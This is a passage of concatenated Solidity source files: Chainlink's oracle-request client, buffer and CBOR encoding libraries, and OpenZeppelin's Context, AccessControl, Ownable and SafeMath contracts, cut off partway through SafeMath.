* @param self The initialized request
* @param _key The name of the key
* @param _values The array of string values to add
*/
function addStringArray(Request memory self, string memory _key, string[] memory _values)
internal pure
{
self.buf.encodeString(_key);
self.buf.startArray();
for (uint256 i = 0; i < _values.length; i++) {
self.buf.encodeString(_values[i]);
}
self.buf.endSequence();
}
}
pragma solidity ^0.6.0;
import "./Chainlink.sol";
import "./interfaces/ENSInterface.sol";
import "./interfaces/LinkTokenInterface.sol";
import "./interfaces/ChainlinkRequestInterface.sol";
import "./interfaces/PointerInterface.sol";
import { ENSResolver as ENSResolver_Chainlink } from "./vendor/ENSResolver.sol";
import "./vendor/SafeMathChainlink.sol";
/**
* @title The ChainlinkClient contract
* @notice Contract writers can inherit this contract in order to create requests for the
* Chainlink network
*/
contract ChainlinkClient {
using Chainlink for Chainlink.Request;
using SafeMathChainlink for uint256;
uint256 constant internal LINK = 10**18;
uint256 constant private AMOUNT_OVERRIDE = 0;
address constant private SENDER_OVERRIDE = address(0);
uint256 constant private ARGS_VERSION = 1;
bytes32 constant private ENS_TOKEN_SUBNAME = keccak256("link");
bytes32 constant private ENS_ORACLE_SUBNAME = keccak256("oracle");
address constant private LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571;
ENSInterface private ens;
bytes32 private ensNode;
LinkTokenInterface private link;
ChainlinkRequestInterface private oracle;
uint256 private requestCount = 1;
mapping(bytes32 => address) private pendingRequests;
event ChainlinkRequested(bytes32 indexed id);
event ChainlinkFulfilled(bytes32 indexed id);
event ChainlinkCancelled(bytes32 indexed id);
/**
* @notice Creates a request that can hold additional parameters
* @param _specId The Job Specification ID that the request will be created for
* @param _callbackAddress The callback address that the response will be sent to
* @param _callbackFunctionSignature The callback function signature to use for the callback address
* @return A Chainlink Request struct in memory
*/
function buildChainlinkRequest(
bytes32 _specId,
address _callbackAddress,
bytes4 _callbackFunctionSignature
) internal pure returns (Chainlink.Request memory) {
Chainlink.Request memory req;
return req.initialize(_specId, _callbackAddress, _callbackFunctionSignature);
}
/**
* @notice Creates a Chainlink request to the stored oracle address
* @dev Calls `chainlinkRequestTo` with the stored oracle address
* @param _req The initialized Chainlink Request
* @param _payment The amount of LINK to send for the request
* @return requestId The request ID
*/
function sendChainlinkRequest(Chainlink.Request memory _req, uint256 _payment)
internal
returns (bytes32)
{
return sendChainlinkRequestTo(address(oracle), _req, _payment);
}
/**
* @notice Creates a Chainlink request to the specified oracle address
* @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to
* send LINK which creates a request on the target oracle contract.
* Emits ChainlinkRequested event.
* @param _oracle The address of the oracle for the request
* @param _req The initialized Chainlink Request
* @param _payment The amount of LINK to send for the request
* @return requestId The request ID
*/
function sendChainlinkRequestTo(address _oracle, Chainlink.Request memory _req, uint256 _payment)
internal
returns (bytes32 requestId)
{
requestId = keccak256(abi.encodePacked(this, requestCount));
_req.nonce = requestCount;
pendingRequests[requestId] = _oracle;
emit ChainlinkRequested(requestId);
require(link.transferAndCall(_oracle, _payment, encodeRequest(_req)), "unable to transferAndCall to oracle");
requestCount += 1;
return requestId;
}
/**
* @notice Allows a request to be cancelled if it has not been fulfilled
* @dev Requires keeping track of the expiration value emitted from the oracle contract.
* Deletes the request from the `pendingRequests` mapping.
* Emits ChainlinkCancelled event.
* @param _requestId The request ID
* @param _payment The amount of LINK sent for the request
* @param _callbackFunc The callback function specified for the request
* @param _expiration The time of the expiration for the request
*/
function cancelChainlinkRequest(
bytes32 _requestId,
uint256 _payment,
bytes4 _callbackFunc,
uint256 _expiration
)
internal
{
ChainlinkRequestInterface requested = ChainlinkRequestInterface(pendingRequests[_requestId]);
delete pendingRequests[_requestId];
emit ChainlinkCancelled(_requestId);
requested.cancelOracleRequest(_requestId, _payment, _callbackFunc, _expiration);
}
/**
* @notice Sets the stored oracle address
* @param _oracle The address of the oracle contract
*/
function setChainlinkOracle(address _oracle) internal {
oracle = ChainlinkRequestInterface(_oracle);
}
/**
* @notice Sets the LINK token address
* @param _link The address of the LINK token contract
*/
function setChainlinkToken(address _link) internal {
link = LinkTokenInterface(_link);
}
/**
* @notice Sets the Chainlink token address for the public
* network as given by the Pointer contract
*/
function setPublicChainlinkToken() internal {
setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress());
}
/**
* @notice Retrieves the stored address of the LINK token
* @return The address of the LINK token
*/
function chainlinkTokenAddress()
internal
view
returns (address)
{
return address(link);
}
/**
* @notice Retrieves the stored address of the oracle contract
* @return The address of the oracle contract
*/
function chainlinkOracleAddress()
internal
view
returns (address)
{
return address(oracle);
}
/**
* @notice Allows for a request which was created on another contract to be fulfilled
* on this contract
* @param _oracle The address of the oracle contract that will fulfill the request
* @param _requestId The request ID used for the response
*/
function addChainlinkExternalRequest(address _oracle, bytes32 _requestId)
internal
notPendingRequest(_requestId)
{
pendingRequests[_requestId] = _oracle;
}
/**
* @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS
* @dev Accounts for subnodes having different resolvers
* @param _ens The address of the ENS contract
* @param _node The ENS node hash
*/
function useChainlinkWithENS(address _ens, bytes32 _node)
internal
{
ens = ENSInterface(_ens);
ensNode = _node;
bytes32 linkSubnode = keccak256(abi.encodePacked(ensNode, ENS_TOKEN_SUBNAME));
ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(linkSubnode));
setChainlinkToken(resolver.addr(linkSubnode));
updateChainlinkOracleWithENS();
}
/**
* @notice Sets the stored oracle contract with the address resolved by ENS
* @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously
*/
function updateChainlinkOracleWithENS()
internal
{
bytes32 oracleSubnode = keccak256(abi.encodePacked(ensNode, ENS_ORACLE_SUBNAME));
ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(oracleSubnode));
setChainlinkOracle(resolver.addr(oracleSubnode));
}
/**
* @notice Encodes the request to be sent to the oracle contract
* @dev The Chainlink node expects values to be in order for the request to be picked up. Order of types
* will be validated in the oracle contract.
* @param _req The initialized Chainlink Request
* @return The bytes payload for the `transferAndCall` method
*/
function encodeRequest(Chainlink.Request memory _req)
private
view
returns (bytes memory)
{
return abi.encodeWithSelector(
oracle.oracleRequest.selector,
SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address
AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent
_req.id,
_req.callbackAddress,
_req.callbackFunctionId,
_req.nonce,
ARGS_VERSION,
_req.buf.buf);
}
/**
* @notice Ensures that the fulfillment is valid for this contract
* @dev Use if the contract developer prefers methods instead of modifiers for validation
* @param _requestId The request ID for fulfillment
*/
function validateChainlinkCallback(bytes32 _requestId)
internal
recordChainlinkFulfillment(_requestId)
// solhint-disable-next-line no-empty-blocks
{}
/**
* @dev Reverts if the sender is not the oracle of the request.
* Emits ChainlinkFulfilled event.
* @param _requestId The request ID for fulfillment
*/
modifier recordChainlinkFulfillment(bytes32 _requestId) {
require(msg.sender == pendingRequests[_requestId],
"Source must be the oracle of the request");
delete pendingRequests[_requestId];
emit ChainlinkFulfilled(_requestId);
_;
}
/**
* @dev Reverts if the request is already pending
* @param _requestId The request ID for fulfillment
*/
modifier notPendingRequest(bytes32 _requestId) {
require(pendingRequests[_requestId] == address(0), "Request is already pending");
_;
}
}
pragma solidity ^0.6.0;
interface ChainlinkRequestInterface {
function oracleRequest(
address sender,
uint256 requestPrice,
bytes32 serviceAgreementID,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 nonce,
uint256 dataVersion, // Currently unused, always "1"
bytes calldata data
) external;
function cancelOracleRequest(
bytes32 requestId,
uint256 payment,
bytes4 callbackFunctionId,
uint256 expiration
) external;
}
pragma solidity ^0.6.0;
interface ENSInterface {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address _owner) external;
function setResolver(bytes32 node, address _resolver) external;
function setOwner(bytes32 node, address _owner) external;
function setTTL(bytes32 node, uint64 _ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
pragma solidity ^0.6.0;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
pragma solidity ^0.6.0;
interface PointerInterface {
function getAddress() external view returns (address);
}
pragma solidity ^0.6.0;
/**
* @dev A library for working with mutable byte buffers in Solidity.
*
* Byte buffers are mutable and expandable, and provide a variety of primitives
* for writing to them. At any time you can fetch a bytes object containing the
* current contents of the buffer. The bytes object should not be stored between
* operations, as it may change due to resizing of the buffer.
*/
library BufferChainlink {
/**
* @dev Represents a mutable buffer. Buffers have a current value (buf) and
* a capacity. The capacity may be longer than the current value, in
* which case it can be extended without the need to allocate more memory.
*/
struct buffer {
bytes buf;
uint capacity;
}
/**
* @dev Initializes a buffer with an initial capacity.
* @param buf The buffer to initialize.
* @param capacity The number of bytes of space to allocate the buffer.
* @return The buffer, for chaining.
*/
function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) {
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
// Allocate space for the buffer data
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(32, add(ptr, capacity)))
}
return buf;
}
/**
* @dev Initializes a new buffer from an existing bytes object.
* Changes to the buffer may mutate the original value.
* @param b The bytes object to initialize the buffer with.
* @return A new buffer.
*/
function fromBytes(bytes memory b) internal pure returns(buffer memory) {
buffer memory buf;
buf.buf = b;
buf.capacity = b.length;
return buf;
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if (a > b) {
return a;
}
return b;
}
/**
* @dev Sets buffer length to 0.
* @param buf The buffer to truncate.
* @return The original buffer, for chaining..
*/
function truncate(buffer memory buf) internal pure returns (buffer memory) {
assembly {
let bufptr := mload(buf)
mstore(bufptr, 0)
}
return buf;
}
/**
* @dev Writes a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The start offset to write to.
* @param data The data to append.
* @param len The number of bytes to copy.
* @return The original buffer, for chaining.
*/
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns(buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Start address = buffer address + offset + sizeof(buffer length)
dest := add(add(bufptr, 32), off)
// Update buffer length if we're extending it
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
/**
* @dev Appends a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @param len The number of bytes to copy.
* @return The original buffer, for chaining.
*/
function append(buffer memory buf, bytes memory data, uint len) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, len);
}
/**
* @dev Appends a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function append(buffer memory buf, bytes memory data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, data.length);
}
/**
* @dev Writes a byte to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write the byte at.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function writeUint8(buffer memory buf, uint off, uint8 data) internal pure returns(buffer memory) {
if (off >= buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + sizeof(buffer length) + off
let dest := add(add(bufptr, off), 32)
mstore8(dest, data)
// Update buffer length if we extended it
if eq(off, buflen) {
mstore(bufptr, add(buflen, 1))
}
}
return buf;
}
/**
* @dev Appends a byte to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) {
return writeUint8(buf, buf.buf.length, data);
}
/**
* @dev Writes up to 32 bytes to the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @param len The number of bytes to write (left-aligned).
* @return The original buffer, for chaining.
*/
function write(buffer memory buf, uint off, bytes32 data, uint len) private pure returns(buffer memory) {
if (len + off > buf.capacity) {
resize(buf, (len + off) * 2);
}
uint mask = 256 ** len - 1;
// Right-align data
data = data >> (8 * (32 - len));
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Address = buffer address + sizeof(buffer length) + off + len
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length if we extended it
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
/**
* @dev Writes a bytes20 to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function writeBytes20(buffer memory buf, uint off, bytes20 data) internal pure returns (buffer memory) {
return write(buf, off, bytes32(data), 20);
}
/**
* @dev Appends a bytes20 to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chhaining.
*/
function appendBytes20(buffer memory buf, bytes20 data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, bytes32(data), 20);
}
/**
* @dev Appends a bytes32 to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function appendBytes32(buffer memory buf, bytes32 data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, 32);
}
/**
* @dev Writes an integer to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @param len The number of bytes to write (right-aligned).
* @return The original buffer, for chaining.
*/
function writeInt(buffer memory buf, uint off, uint data, uint len) private pure returns(buffer memory) {
if (len + off > buf.capacity) {
resize(buf, (len + off) * 2);
}
uint mask = 256 ** len - 1;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Address = buffer address + off + sizeof(buffer length) + len
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length if we extended it
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
return writeInt(buf, buf.buf.length, data, len);
}
}
pragma solidity ^0.6.0;
import { BufferChainlink } from "./BufferChainlink.sol";
library CBORChainlink {
using BufferChainlink for BufferChainlink.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(BufferChainlink.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.appendUint8(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.appendUint8(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.appendUint8(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.appendUint8(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.appendUint8(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(BufferChainlink.buffer memory buf, uint8 major) private pure {
buf.appendUint8(uint8((major << 5) | 31));
}
function encodeUInt(BufferChainlink.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(BufferChainlink.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(BufferChainlink.buffer memory buf, bytes memory value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(BufferChainlink.buffer memory buf, string memory value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(BufferChainlink.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(BufferChainlink.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(BufferChainlink.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
pragma solidity ^0.6.0;
abstract contract ENSResolver {
function addr(bytes32 node) public view virtual returns (address);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathChainlink {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
